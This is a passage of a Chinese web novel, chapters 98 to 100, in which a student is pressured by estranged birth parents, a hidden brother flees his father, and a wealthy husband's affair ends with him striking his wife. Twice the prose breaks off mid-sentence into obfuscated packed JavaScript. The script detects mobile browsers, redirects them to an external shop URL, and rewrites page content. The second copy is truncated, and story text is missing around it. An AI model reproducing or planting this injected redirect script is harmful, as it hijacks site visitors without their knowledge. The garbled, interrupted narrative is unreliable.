再次被禁言的洪志气得将手机砸在了桌面上,换来了任课老师的不满。 * 另一边—— 派出所的警察考虑到陈岩夫妻还有孩子在医院住着,身边离不开人,而且这事到底也没有造成多大的后果便劝说一中的教导主任、老师与陈岩夫妻和解。 教导主任、曾培虽满腹不满,但他们也做不到让生病的孩子身边连父母都没有,便只好妥协了。 媒体记者则是被勒令将拍到的照片、视频和录音全部删掉之后,又按照规定进行一定程度的处罚之后才将他们离开。 从派出所出来的陈岩夫妻面色刷地一下子阴沉下来,陈岩揉了揉眉心,声音嘶哑道:“难道家宝只能毫无意义地等待下去吗?” 女人神色痛苦,“明天起我就去跪在学校门口,我一定一定要让陈恕给我们家宝配型。” 陈岩此刻也没有其他的办法,只能道:“家宝的身边不能没有人,我们换着去,我们求求他……求求他。” 同张期期说的一样,陈岩夫妻确实没有放弃,他们转换了姿态,不再咄咄逼人,反而选择在每天上下学人流量最大的时间段沉默着跪在校门口。 来来往往的学生和家长几天下来,不想知道发生了什么事都不可能,几乎全校的师生都知道了。 张期期气得跳脚,“他们!他们这是变相地逼你。” 陈恕神色平淡,“没事,期期,我们继续讲这道物理题……” 张期期看着了片刻,最终只能无奈地妥协道:“好吧……这道题我和你的思路不太一样……” 除了对陈恕心怀关切的同学看不惯陈岩夫妻的行为之外,学校领导办公室内,主任、校长和曾培此刻十分头疼。 校长眼神疲惫,“这样下去真不是办法,简直不像话!天天有人跪在学校门口,这……这……唉!”他烦躁又无奈地靠着椅背。 曾培:“校长,我们管不了那对夫妻的行为,人家要跪着,我们还能将他们轰走不成。”他语气中带着怒意。 “难道就没有其他办法了吗?这样真的很影响我们学校的形象啊!”校长心中难免迁怒起陈恕来。 一旁的教导主任突然开口道,“……也不是完全没有办法,陈恕不是已经被保送国外的大学了吗?让他提前离校不就行了。” 曾培皱起眉头,“陈恕已经放弃保送了,他想要参加高考。” 教导主任、校长闻言皆是愣了一下,满脸不理解,教导主任咂舌:“你是在开玩笑吗?” 曾培其实心底也赞成教导主任的提议,去国外上大学是个正确的选择,并且还能远离现在陈岩夫妻二人,避免被缠上,另外也不会影响学校的学生、学校的形象,但这只是他的一厢情愿。 “我怎么会拿这件事开玩笑,是真的,这个学生很有主意,我劝过了,他执意要继续参加高考,考华大。” 校长拧眉,陈恕是他们这一届高三生成绩一直排名第一的学生,参加高考的话可以为学校取得荣誉,但……但目前的情况是他的存在已经影响到其他学生了,他也收到了很多家长对于校门口有人跪着的投诉。 “啧……曾老师,陈恕的事你再劝劝,我们不可能为了他影响到其他学生。” 曾培点头,“好。我会再去劝劝他的。” …… 夕阳西下,倦鸟归林,天边最后一缕残阳消失无影。京照一种高一高二学生不用上晚自修,学校内慢慢沉寂安静下来。 刚洗完澡的张期期摸了摸微微湿润的发尾,抱着一本厚厚的复习资料“噔噔噔”地踩着楼梯往上。楼梯上明亮的白织灯十分晃眼,她刚踩上最后一级台阶时,抬眸望去,却见陈恕正从旁边的年级办公室走出来。 少年微微垂着眸,睫下的阴影落在他的眼下形成月牙弧度,他紧紧抿着唇,眉眼间仿佛笼罩着一层阴影。 张期期默了默,猜测到大概是曾老师又找陈恕谈陈岩夫妻的事了吧……她心中泛着无力,陈恕又能怎么办呢?这是个暂时无解的问题,或许等到高考完,陈恕去上了大学就能摆脱他们了吧? 无解的问题再唉声叹气也没有用,因此张期期扯了扯嘴角,让自己笑起来,她抱着复习资料轻喊了一声,“陈恕……” 少女脚步轻盈地跑到陈恕的身边,或许是刚刚洗完澡,随着她的靠近,空气中隐隐约约弥漫着一股清爽的柠檬味,她的发丝随着走廊上对流空气微微卷起,轻抚过他的手臂,明明他穿着长袖,却感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13743737|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉到那股细微的痒意从胳膊上的皮肤席卷到心头上。 陈恕猛然咳了一声,脑海中仿佛有什么东西轰然砸开,方才曾老师找他谈完话时,他心中的憋闷和不甘在这一刻猛然消散。 “啊?陈恕……你怎么了?”张期期愣了一下,又着急地探着上半身盯着陈恕看。 少年咳后微红的眼对上少女满眼的担忧时,双方皆是一滞,吹拂过的晚风仿佛变得温柔无比。 陈恕张了张口,片刻后才找回自己的声音,清爽的柠檬香气萦绕在他的身旁,他声音又低又轻,“没事,我没事,期期。” “啊……那……没事、没事就好。”方才凑近看他时,被少年美颜暴击的张期期眼神闪躲,心虚又懊恼。 “快上课了,回教室吧。” “哦,好。” …… 一直到晚自修结束后,张期期心虚、懊恼的情绪才有所缓解。她和陈恕像往常一样在晚自修结束之后来操场散散步,舒缓舒缓紧绷了一天的脑子。 学习上的疲惫随着温柔的晚风轻轻吹走,遮天蔽日的榕树挡住了月色洒下来的银辉。 陈恕坐在观众席最上面的一层台阶,而张期期站在他下方的台阶上微微俯下身,笑着看向他。 盯着陈恕看了片刻,张期期这才抬脚走到陈恕的身边坐下,她望向弥漫着银白月辉下的操场,低声问道:“陈恕,曾老师又找你说话,劝你去德国了吗?” 好半响,陈恕才低低“嗯”了一声。 …… 「陈恕,老师已经跟你分析过目前对你来说最好的选择就是离开这里,去德国!慕尼黑大学法律专业原本就是你的选择对吧? 老师知道你的过去受了太多太多的苦,离开这里去感受不一样的生活吧。离开这里,离开想要纠缠着你不放的那对夫妻…… 陈恕,学校也难做,老师们也不可能只顾着你,不顾其他学生的感受……虽然这不是你的错……」 …… “老师,我只是想和期期、兰亭、先哥、林听在一起,我们要一起上华大。”他曾老师这样说。 曾老师闻言,神色感慨,成年人的他已经不能理解要黏在一起的朋友。 他看见曾老师笑了,眼底充满怀念,说出来的话语却带着释然,“天下无不散的宴席,兄弟姐妹、情侣夫妻,孩子父母等等的亲密关系都是这样,高考、工作、结婚都是人生的一道分水岭,你以后就会知道你这个想法有多天真了。” “陈恕,未来要走什么样的路,你应该理智地判断,而不是被感情所干扰,否则等有一天感情散尽了,你要怎么面对你之前做出的选择。” ……」 张期期的失落被掩盖在月色之下,她的声音很轻很轻,“其实……就现在的情况,曾老师的提议挺有道理的。有时候,我也会想我真的很自私,想要陈恕你不要离开我……想要大家一直一直在一起。” 朋友、家人,喜欢的人,她都想要攥在手心里。 “不,期期。”陈恕侧首认真看着她的侧脸,“因为我也是这么想的,所以如果要说自私的话,那我也是。” 张期期疏忽间回过头来,“真的吗?你也是这么想的?” ……陈恕一开始申请德国慕尼黑大学的事,她并不是完全不知晓,而是有意识地将这件事忽略过去,不去想、不去问、不去看,她坚定地说着大家会一直在一起,所以她一直以为只有自己在极力地想要大家不分开。 “是,我也是这么想的。” 晚风轻拂,月色朦胧,此刻他们的目光真挚而诚恳,关于未来的构想在这一刻再次达成一致。 …… 99. 第 99 章 - 陈恕坚持自己的选择和想法,京照一中的老师、主任、乃至校长都不是那种会使用强硬手段的对待学生的人,因此他们也只能急得焦头烂额,却没有其他办法。 好在一段时间下来,陈岩夫妻虽然还是会出现在京照一中的校门口,但可能由于他们的孩子陈家宝身边越来越离不开人,所以他们并不会呆得特别久。 这一天,浑身疲倦,眼神麻木的陈岩开着车回到了上瑶村集中住着的安置房,他提着一桶脏衣服打开了家门。 家里一段时间没有收拾,地板落满了灰层,他将衣服丢进洗衣机里洗,又从卧室里拿出干净的衣服放到背包里,这是晚点要带回病房的。 洗衣机里开始注水,水流哗哗哗地响着,他要等洗衣机里的衣服洗好,再晾好,才回医院。 陈岩疲惫地靠在沙发上,沙发上也积着一层薄薄的灰层,但他只是看了一眼,便继续靠着。孩子生病的事已经消耗了他所有的精力、精神,像家里脏了这种事他已经完全没心情管了。 洗衣机里的衣服开始被搅拌,发出“嗡嗡嗡”的声响,陈岩思绪飘忽,他忍不住想到,孩子得病,没了就没了吧,他已经尽力了,现在他和妻子还算年轻,再要一个健康的小孩也不是不行…… 啊……再要一个的话,不能再养得那么胖了,医生说了,肥胖更容易诱发病症…… …… 衣服洗好甩干之后,他晾了起来,拎上装着干净衣服的背包走出了家门。 陈岩刚准备上车时,突然烟瘾犯了,在医院没办法抽烟,他已经很久没抽了,但现在时间稍微没有那么急,他便将背包放在车里,抬腿走向不远处出巷口的那家小卖部。 远远望去,小卖部的老板娘正和一个身形挺拔的瘦高男生说着话,他越走越近,老板娘说话的内容隐隐约约地传过来。 “那孩子来过一趟,当时还和陈岩打了一架了,按我说,陈岩就该打,亲生的娃受了那么多罪,他都不心疼的!对得起那孩子的妈吗?” “啧,我想想都觉得心酸,那孩子听说是被卖到了大山里,去年才自己找回来的,回来后陈岩也不管,他就自己住自己生活吧。” “不过……他能顺顺利利长大还上了京照一中,想来养父母就算不是亲生的,对他应该也还好……至少长大成人了,陈岩那个丢了的最小的孩子到现在都没消息呢,估计啊……是很悬咯!” 老板娘边说着,边递了瓶矿泉水给曾逸飞,“三块钱。” 曾逸飞接过水后给了钱,口罩下的脸微微笑了笑,虽然老板娘也看不见就是了,但他语气温和道:“钱给了,老板娘再见。” “啊,谢谢啊!” 天气越来越热,此时头顶艳阳高照,曾逸飞被夏日的太阳晃了下眼,他下意识地眯着眼,转身背对着老板娘打开了矿泉水瓶后,拉下口罩喝了几口水。 当他将盖子拧上时,似有所觉地抬眸望过去,阳光下陈岩站在不远处目瞪口呆地望着他。 陈岩瞳孔皱缩,陈恕!不!不是陈恕,和陈恕长得如此相像的……又在这里打听他们家的事情,难道是小最! 是!一定是小最!那…… 这一刻他心如擂鼓,多了一个小最,那陈恕不肯配型的话,小最!小最也可以啊,他和家宝也是亲兄弟! 陈岩拔腿就跑,他想起了刚才老板娘说的话,不行,不能让小最以为亲生父亲早就不要他们了,这样的话他绝对不肯给家宝配型的。 而与陈岩正面撞上,甚至意识到陈岩仿佛已经认出来他了的曾逸飞见对方拔腿就要过来,他下意识转身就跑。 胸腔内的心脏疯狂跳动着,曾逸飞没想到会撞见陈岩,这个点陈岩应该在医院才对啊。不行,绝对不能让陈岩追上他,不能让陈岩确认他就是陈最,他必须尽快立刻甩掉他。 紧张之下,肾上腺素急剧飙升,曾逸飞奋力地跑起来,呼呼风声从他的耳边呼啸而过,身后陈岩的脚步声越来越小,但他却依然不敢回头望,只因为刚才惊惧之下他的口罩早就掉了。 他隐隐约约听见陈岩在喊他,“小最!你是小最吗?快停下,我是你爸爸啊!” “小最别跑了,你别相信其他人的胡言乱语,爸爸一直很挂念你们的……” “快停下来……” …… “爸爸”这两个字从陈岩的嘴里喊出来,曾逸飞恶心不已,他绝对不要被他们缠上,绝对绝对!他加快速度,很快就冲进小巷子里七拐八拐地将身后的陈岩甩掉了。 良久,他停下脚步,气喘吁吁地靠在小巷子里的墙壁上,身体缓缓下滑,蹲在了地面上。 小巷子里错综复杂,垃圾堆在潮湿的角落发出熏人的气味,耀眼的阳光只能照在某个角落的墙壁上。 曾逸飞看着缓缓移动的阳光斑块,心绪渐渐平静下来,沉静中他意识到必须要让陈恕离开京照一中了,他自己在一中学习上课生活,万一呢,万一哪天陈岩一架冲进了学校,在学校里撞见他了,那一切才真的是到了他不可挽回的地步。 另外……只要他不再来这里打听陈恕的事了,陈岩根本无法找到他。 怀揣着沉甸甸的思绪,曾逸飞站起身来拍了拍方才急着跑路,身体擦在墙上时,衣服上沾上的灰尘。 今天是周六,他不用上课才有时间出来一趟,他和养母说的是出来逛超市,所以此刻他只能去了趟超市,随便买了些零食、饮料、水果回了家。 王心兰见他回来了,笑着道,“回来啦?超市热不热闹?” 曾逸飞神色如同往常般,他笑了笑,提着一袋荔枝道,“妈,我买了你喜欢吃的荔枝,没想到这个季节超市里居然有荔枝卖。” 王心兰笑着接过,突然她的眼神一滞,停顿在曾逸飞肩膀衣袖擦破的位置,她拧起眉心,“逸飞,你的衣服怎么破了,上面还沾着泥土?” 曾逸飞笑容一僵,立刻侧首眼帘微垂地望向养母看着的地方,那是……那是他拐弯时拐得太急了,擦着墙跑过去时蹭破的。 “妈妈,没事,那……那是……”他支支吾吾着,王心兰顿时神色紧张起来。 曾逸飞找了个借口,“我刚才不小心摔了一跤。” “你这孩子……以后要小心点,知道吗?痛不痛,妈妈拿点药给你擦一下。”王心兰将荔枝放在桌面上,准备找药给曾逸飞。 曾逸飞连连拒绝,怕再被看出破绽来,他拎着零食和饮料跑到了房间里,喊了一声,“妈,没事的,我房间里有药,我自己擦就行。”随后猛地将门关上,将随便买来的零食和饮料放在柜子上,他松了一口气。 …… 晚饭,餐桌上。 曾逸飞发现他的养父拧着眉心,仿佛味同嚼蜡一样,不知道在忧愁着什么。 好几次,他夹着菜时,感觉到养父好像在盯着他看,但是等他循着感觉看过去时,养父又收回了目光。 曾逸飞:??? 此刻,曾培心神不定,即便陈恕和逸飞长得很像,但为了真正确认他们之间的关系,他曾拿着逸飞和陈恕的头发私下里去做过鉴定,确认了他们两人之间是有亲缘关系的。 而现在他一直在犹豫着要不要告诉逸飞关于他的身世,当然他想要的只是告诉他陈恕是他的哥哥而已,至于陈岩夫妻他并不想说。 但……他心里叹了口气,他即便不想说,陈恕的事闹成这样,逸飞肯定知道,自然也会知道校门口那个男人是他的亲生父亲。 之所以他会想告诉逸飞,只是因为他到底对陈恕那孩子有怜悯之心,在他的预想里是,让逸飞和陈恕私下里相认就行了,逸飞也能有个亲兄弟,陈恕找回了弟弟,心里也能有些安慰。 好半响,曾逸飞快吃完饭时,曾培仿佛随口一说般,突然道:“逸飞啊,我们家就你一个孩子,你会不会太孤单了啊,有时候爸爸想,你要是有个哥哥的话,两兄弟一起玩……” 曾逸飞手中的筷子顿时掉在地上,他爸突然这么说,是想干什么?想告诉他关于他的身世吗?不!他不想知道,不想他们告诉他关于他的身世,这么多年了,他就是曾家的孩子! “你在乱说些什么啊?我们家有逸飞就够了,别再胡说了,孩子听了不高兴,我也不高兴的。”王心兰脸色一变。 曾培顿了顿,哑口无言。 曾逸飞弯腰将地上的筷子捡起来,餐桌下他的面容有一瞬间的阴沉扭曲,然而等他直起腰时,他笑着道:“爸,我怎么可能有个哥哥,你要是怕我孤单想家里多个孩子,那也是弟弟妹妹啊!” 曾培张了张口,“啊……也、也是。” 吃完饭,曾逸飞快速回到了房间里,他反手将门锁上,面色沉沉地坐在了电脑前。他内心感受到一股急切的压力。 无意间撞上陈岩、再加上他养父仿佛动摇了,准备告诉他身世,这两件事加起来,他终于狠下心来。 对不起了陈恕。你必须离开京照一中,离开京照市。德国慕尼黑大学,我也查过了,是很好的学校,你以后……以后会感谢我的。 想到这里,他终于说服了自己,电脑屏幕亮起,聊天软件打开,他发出了几条信息,很快对方便回复且答应了,只是时间上对方说要再等个三四天。 * 周一。 张期期昨天晚上突然发现自己身份证的过期时间刚好是6月1号,又想到高考要用到身份证,且重新办身份证到再次拿到至少要一个月的时间,她怕耽误到高考便请了假回家□□件。 她中午十二点多回到家的,家里空空荡荡的,莲姨不在,她爸妈也不在,张期期遗憾不已。 下午二点多,她估摸着派出所的工作人员已经上班了,便出门□□件去了。□□的时间并不长,十几分钟就搞定了,但由于派出所离他们家比较远,路上来回花费的时间比较长,所以在下午四点半的时候她才回到家。 回家之后,家里依旧没有人,张期期只好到五楼自己的房间里学习,想着晚上她爸妈回来再突然冒出来给他们个惊喜。 桌面上,闹钟里秒针绕着圈圈逸动,发出“擦擦擦”的声响,房间内安安静静,时而伴随着试卷翻页、笔尖在纸上摩擦的声音。 日落月升,傍晚天边最后一缕光芒散尽,月色铺照大地。窗前的晚风吹拂进来,桌面上的试卷随风卷起一角。 张期期伸手按下试卷卷起的一角,她看了一眼窗外的天色,又看了桌面上的时钟一眼,都七点多了,怎么大家还没回来?甚至连莲姨都不在…… 她双手交叠在桌面上,下巴垫在手臂上,眼帘微垂,睡意慢慢席卷而上,她缓缓闭上了双眼,呼吸平缓。 …… 月上梢头,往日戚和风觉得柔和皎洁的月色在今天却让她觉得冰冷凉薄,她神情恍惚地打开家门,连鞋都没有换,跌跌撞撞地走向客厅,整个人失了魂一样地坐在沙发上。 她没有开灯,家里也没有人,前两天莲姨的儿子生病了,她请了假回去照顾儿子。 月色从满面的落地窗攀爬,落入客厅的地板上,黑暗中只有这一片是朦胧的光亮,戚和风便隐没在黑暗中,她愣神地望着地面上的银辉。 高洁的月亮高悬时,人们便觉得她美、高不可攀,执意要得到,但当月色洒在地上时,落入凡尘时,人们却嫌她不够光亮、无趣空白。 张世明这几个月的反常她不是没有察觉到,只是每当她心有怀疑时,过往这十多年“恩爱夫妻”“真爱夫妇”的标签总让她说服了自己。 不可能的……她在胡思乱想什么啊! 张世明曾经硬扛着家人的反对,执意要娶她,他们门不当户不对,他却十几年如同一日一般对她好,对女儿好,他身边都是男秘书,在这个浑浊的商圈里,为了她十几年如一日半点绯闻都没有。圈里的夫人太太没有一个不羡慕她日子过得清闲,一点糟心事都没有。 世明都做到这一步了,她还有什么理由怀疑他呢! 便是如此,她渐渐下意识地去忽视那些不合理的地方,她年少时抛下梦想和朋友、家人、老师的爱情不可能在十几年后她已经坚信不疑的这一刻突然分崩离析。 然而,她到底不是睁眼瞎,她到底还是有傲气的,曾经她是舞台上最闪耀的人,是师傅眼中最有天赋的弟子,她不是傻子啊! 她从未用过的香水味出现在张世明的身上,他肩膀上落着不属于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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随着他走近,那满身的酒味和甜腻的女人香水味搅合在一起,散发出令戚和风作呕的气味,她脸色顿时一白,脑海中自动想象出他们纠缠在一起的画面。 戚和风伸出手往前,拉开和张世明的距离,绷着声道:“离我远点!” 张世明脚步一顿,微微低头左右闻了闻自己身上的味道,笑着道:“是我身上的酒味太重了吗?啊……抱歉……” “不只是酒味……”戚和风缓缓、一字一句道,“我今天看见你和张雅兰了。” 闻言,张世明脸上的笑容顿时一僵,片刻后他嘴角垮下来,面无表情道,“都看见了?” “看见了……”戚和风声音的音量渐渐提高,“张世明,为什么?你告诉我为什么!到底为什么?” “为什么……”张世明缓缓扯开脖子上的领带,语气随意,“当然是因为她掌控了徐家,徐家的资本能帮助张家涉足新兴的产业。” 他坐了下来,倚靠在单人沙发上,自顾自地道:“和风,你也知道的,在我们这个圈子里,这种事情都是很常见,无论是商业联姻还是气氛到了,成年人之间来一场身体上的愉悦,这背后都是自有标价的,也不是什么难以理解的事情,对吧?” 张世明若无其事的语气激怒了戚和风,她完全无法相信眼前这个说着她难以认可的话的男人居然是她的枕边人,是她的爱人! 他和她认识的张世明完全不同,戚和风觉得浑身泛上冷意,她从未见过他这一面。 “商业联姻……成年人身体上的愉悦……这些能帮助到你的话,为什么,为什么当初你不直接商业联姻,反而要娶我这个不在你们张家考虑范围内的女人?” 酒精在他脑海里不停地发酵着,张世明头疼欲裂,他揪了揪头发,那是……因为年轻的时候他意气风发,觉得自己根本不需要靠这种关系来壮大张家的产业。 可如今,看着曾经不如张家的其他家族生意蒸蒸日上,他却原地踏步,焦灼、不甘在他心中不停翻滚着。 张雅兰是一个机会,他决不可能错过,有时候他甚至在想,如果当年他没有娶戚和风,而是娶了门当户对的女人,那现在的张家又会走到怎样令他叹绝的程度啊! “为什么?为什么?你说啊!”戚和风全身微微颤抖。 女人尖锐的声音刺激得张世明头越来越痛,那时被其他世家排挤和冷待的愤怒席卷上心头,他捶了一下沙发,沉声喊道:“为什么!我他妈也想知道为什么当时我那么鬼迷心窍执意要娶你!我早就后悔了……” 后悔了…… 悔了…… “啊——”戚和风脑子里紧绷的弦猛然断裂,她尖叫一声扑过去,撕扯着张世明的领口。 张世明掰着她的手,怒吼道:“你疯了吗?” “我是疯了,我是疯了!你后悔了?你凭什么说后悔,你以为就你一个人牺牲了很多吗?要不是因为嫁给你,我妈妈、我老师怎么会不愿意原谅我,不愿意见我!” “要不是因为你,我日复一日、年复一年地在家里等你回来,我的梦想早就被你拖垮了,要不是因为你,我也能像洁莉她们一样站在舞台上,要不是因为你,我会是今天这副模样吗?” “我十几年的时间你怎么来承担……你现在和我说你后悔了……我就不后悔吗?” 原本出轨了被戚和风撞见,内心有些慌张和心虚的张世明此刻也愤怒不已,他狠狠扯开戚和风的手,怒道:“你后悔?你后悔什么?” “你现在养尊处优、锦衣玉食的生活是我们张家供出来的,你什么都不用愁,只需要坐着就能过上奢华的生活,金钱才能把你养出这副不食人间烟火的样子,你现在给我说你也后悔了?” “要不是因为娶了你这个毫无助力的女人,张家哪里会被其他世家远远落下?” “你有什么资格后悔啊——”张世明神情扭曲咬牙切齿喊道。 “原来……原来你就是这么看我的,你当我乐意过这样的生活啊,是我上赶着凑上来你张家的吗?是我吗?” “不——是你,是你张世明!”戚和风再次扑过去,撕扯着他胸前的衣服。 张世明气急败坏,“疯了,你真是疯了!” 撕扯间,他领口被揪着不放,张世明觉得透不过气来,他下意识抬手扇了戚和风一巴掌,女人尖叫一声,被力道的惯性扫到一旁,整个人趴着撞在了茶几上,随后软软地倒在了地上…… 鲜红的血流淌在地面上,刺眼又让人胆战心惊。 * 100. 第 100 章 - 耳边隐隐约约传来尖锐的喊叫声和充满怒气的吼叫声,迷迷糊糊、要醒不醒的张期期忍不住眉心微微皱起,她眼帘颤了颤,睁开了双眼。 窗外一片昏暗,别墅区远处的路灯昏黄,光影晕染在夜色中。 刚醒过来,她脑子有些懵,思维停顿,然而就在这时,扰乱她睡眠的吵闹声突然清晰起来,张期期猛地一下子站起来,声音是从楼下传上来的,是她爸妈在吵架—— 她爸妈居然在吵架! 张期期脸色一白,神情慌张,她哆哆嗦嗦转身就想往楼下跑,然而却被椅子绊了一下,整个人扑倒在地上,脚腕硬生生扭了一下。 “嘶……”好痛啊! 楼下的吵架声越来越响,张期期心慌不已,手掌撑在地上支撑起身体,她慢慢爬了起来,一步一挪地往楼下走。 家里的电梯她回来的时候就看过了,好像有点故障,打不开了。 父母吵架的话语断断续续地传过来,张雅兰……张期期紧紧抿住了唇,她知道这个女人,回宜市过年的那一次她就见过她,当时她的某位姑姑还提醒她来着…… 「为什么!我他妈也想知道为什么当时我那么鬼迷心窍执意要娶你!我早就后悔了……」 …… 「你凭什么后悔……」 「……是我凑上来上赶着你们张家的吗?不——是你,是你张世明!」 …… 听着父母相互怨怼的话语,张期期浑身颤抖,心底发凉,惶恐和不安席卷而上,好像有什么她努力维持的东西啪地一声碎掉了,平静无波的生活泛起了滔天巨浪。 她从未觉得这五层的楼梯是那么的长,长到她忍着脚腕上的痛意走了那么那么久,长得她从他们的话语里得知了所有的真相。 ……她爸爸出轨了,出轨对象是张雅兰。 ……她爸爸妈妈在相互埋怨,十几年被外界公认为“恩爱夫妻”的他们原来心底里早就生了间隙,那些“真情、真爱”的标签就像是笑话一样。 ……爸爸埋怨她妈妈帮不上忙,妈妈怨恨她爸爸阻挡了她追求梦想的步伐,婚姻将她束缚住,折断了她高飞的翅膀…… 爱意在现实面前不堪一击,张期期心底骤生恐慌。 尖锐的吵闹声还在继续着,她顾不上脚腕的痛意,皱着眉头硬是往下跑。 “啪——” 张期期站在客厅侧方的走廊处,浑身冰凉,鲜血在她眼底轰然漫开…… 她惊叫一声,扑过去,“妈——” 戚和风躺在地上毫无动静,脸色惨白,张世明愣了下,脑海中的混沌被惊得顿时消退,“和风……和风……我……” 张期期眼底都是泪水,世界朦胧,她抬手抹了把眼泪,抬头看向站在一旁眼神呆滞的男人,喝道:“打电话叫救护车啊!” 张世明一听,猛然回神,“等救护车太慢了,我、我开车去医院。” “不行,爸。你喝酒了……”而且现在她爸一副手忙脚乱、脑子不清醒的样子,她根本不敢让他开车,不过,等救护车来,也确实太慢了。 张期期:“你先打救护车,然后再去看看隔壁敬亭哥哥在不在,在的话让他送我们去医院。” 张世明闻言点点头,拨打了救护车报上了家庭地址。 ……去找敬亭那小子?张世明伫立在原地,有些不愿意。他算是许敬亭的叔叔,让他过来,岂不是看他的笑话! “爸,你还在愣什么啊?”张期期怒道。 张世明蹲下身来,看着戚和风不再流血的伤口,低声道:“好像不再流血了,可能只是撞了一下晕过去了而已,没那么……严重的吧?” 张期期骤然瞪大了双眼,眼前的男人真的是那个爱护妻子、女儿的好丈夫、好父亲吗?她妈妈满头的血,他居然还在顾忌着面子…… 不,他不是她记忆中那个爱护妻子、女儿的男人了,哪有爱护家庭的男人会出轨会动手打人! 眼泪再次在她眼眶中打转,她咬牙切齿道:“我让你去!快去!听到没有!” 她不放心让这个喝了酒满脑子浆糊、动手打人的男人继续单独和她妈妈在一起,否则她就是是断了腿爬也要爬到敬亭哥家喊人帮忙。 “张——世——明!你要是不去,我妈出了什么事的话,我就向媒体告发你,说你出轨,说你家暴!张家的股价就会跌!” 张世明脸顿时沉了下来,他站起身,居高临下地盯着张期期看了几眼,“好,我去。” …… 窗外月色朦胧,病房内亮着一盏光线稍弱的白织灯。 戚和风苍白着脸,安静地躺在病床上,她的眉心微微蹙起,仿佛睡梦中也很难受似的。张期期轻轻握着她的手,眼神一遍遍地描绘着她妈妈的面容。 幸好当时敬亭哥刚好在家,他们很快就将她妈妈送到了医院,这才没有耽误她妈妈伤势的救治。 不知道会不会留下疤痕……张期期看着她额头上的伤口心道,她妈妈很爱美,要是真留下疤痕,她妈妈估计要更难过了…… 病房外,男人压低的声音短短续续地传进来,大概是她爸爸在对敬亭哥说着感谢上的话吧。 想到这里,张期期顿了顿,轻轻松开手,忍着脚上的不适起身,方才她的脚已经让医生看过了,轻微的扭伤而已,医生给她擦了药又揉了好一会儿,已经没那么痛了。 她悄悄走出了病房,许敬亭、张世明都看向她,张期期看都不看一眼她爸,只是对着许敬亭道,“敬亭哥,今天晚上的事谢谢你。” “真的非常感谢,要不是敬亭哥你……” 该说的感谢必须由她来说,她爸这个出轨的男人,在她心中已经被她pass掉了。 “没事,好好照顾你妈妈吧。”许敬亭神色温和地揉了揉张期期的发顶,“有什么事都可以给我打电话,知道吗?” 张家的家事,他作为外人没有立场并不好插手,但若是期期找他帮忙,他作为哥哥自然是能帮得上忙一定帮的。 “嗯。谢谢敬亭哥。” 许敬亭走了后,张期期冷着脸,撇下张世明抬脚欲往病房内走去。 张世明按住了她的肩膀,又扭头从窗户看了一眼还沉睡着的戚和风,“期期,爸爸有话跟你说。你过来……”他率先走过去坐在走廊上的不锈钢长椅上。 张期期绷着脸,好半响之后,她才不甘不愿地坐在了张世明的身边,“你还有什么话好说吗?出轨是事实,动手是事实,爸……你真的是我爸吗?” 走廊上一片寂静,张世明抹了把脸,开始絮絮叨叨地说起自去年开始,张家在圈子里尴尬的处境,以及他的不甘和接下来的打算。 张期期觉得自己是疯了,才在这听着他爸说这些,“所以呢……这就是你出轨和被发现后恼羞成怒而动手的原因?” “期期!!”张世明忍着额头上抽痛的感觉,继续道:“这算什么出轨!成年人生意场上的助兴而已,我还是爱你妈妈的,这么多年来,我对你和你妈妈到底怎么样,你心里清楚。” “期期……你是我们张家的孩子,也是这个圈子里的人,你能理解爸爸的对吗?你妈妈根本无法为张家提供什么助力,爸爸只能寄托你将来能有出息了。” “就算……就算你不能做到像许家那小子一样,你也可以联姻来帮助爸爸啊,陆家怎么样,爸爸觉得向川那小子就很喜欢你。” …… “别说了!”张期期压低着声音咬牙切齿,原来……原来一旦张家的资产开始下滑,她就成为了她爸爸心中可以为张家增添资产的筹码。 而对她妈妈,往日十几年的恩爱情谊又算什么?没有遇到困境时,他可以将她妈妈捧上天,遇到困境了,就开始埋怨她妈妈,可是她妈妈原本就是普通人家的孩子,她爸爸一开始就知道,知道了还执意想娶她妈妈,这一切不是她爸爸的选择吗?可如今他却在说后悔?还要她去理解他…… 太好笑了! 商圈……这个圈子里有着他们默契制定着的规则,她简直想要呕吐,原本她以为她爸爸虽然身处其中却一身清白,然而到底还是她太天真了,“近朱者赤近墨者黑”,更何况,他爸爸原本就是这个圈子的人,只能说他掩饰得太好了,骗过了她妈妈十几年。 为人称颂的“灰姑娘嫁进豪门”,在事实利益面前,就像是过了十二点钟的魔法一样,显露出原本的贫瘠不堪。 “期期……”张世明不死心道。 “我说别说了!别说了!别说了!”张期期猛地起身走进了病房内,反手将门锁上了。 他爸爸张世明是什么时候离开的,张期期并不知道。 但很快,李叔就过来了,他把她的书包拿了过来,里面是她房间桌面上的试卷、手机还有钱包。 “期期,还有这个,晚饭你还没吃吧?我刚刚在门口打了餐食过来,你吃一点吧。”李临将手中拎着的鲜肉馄饨递给了她。 张期期点了点头,低声道:“好,麻烦李叔你跑一趟了。谢谢。” 客气、疏离的语气如此明显,李临眼神一暗,他隔着窗户看了一眼病房内的太太,心里愧疚难安,他已经猜到太太和期期是发现了先生的出轨了,期期应该也能猜到,他作为司机不可能不清楚这件事,但他却没有告诉她们。 “没事。有什么事的话,打我电话。”李临道。 “嗯。”张期期点点头,接过书包和装着馄饨的餐食转身就走,虽然她理解作为公司的员工,李叔帮着她爸爸隐瞒出轨这件事,但到底还是做不到心无芥蒂。 吃过馄饨之后,她发了条消息给曾老师,向他又请了明天一天的假,接着又发给了许兰亭,告诉对方她请假的事,免得他们不知道后会担心。 * 翌日清晨,天色微亮。 戚和风意识醒过来之后,觉得额头隐隐抽痛着,她缓缓睁开双眼,纯白的屋顶映入眼底。她睁着双眼沉默着,昨天晚上的一幕幕浮现在她的脑海里。 她没想到张世明居然会对她动手…… 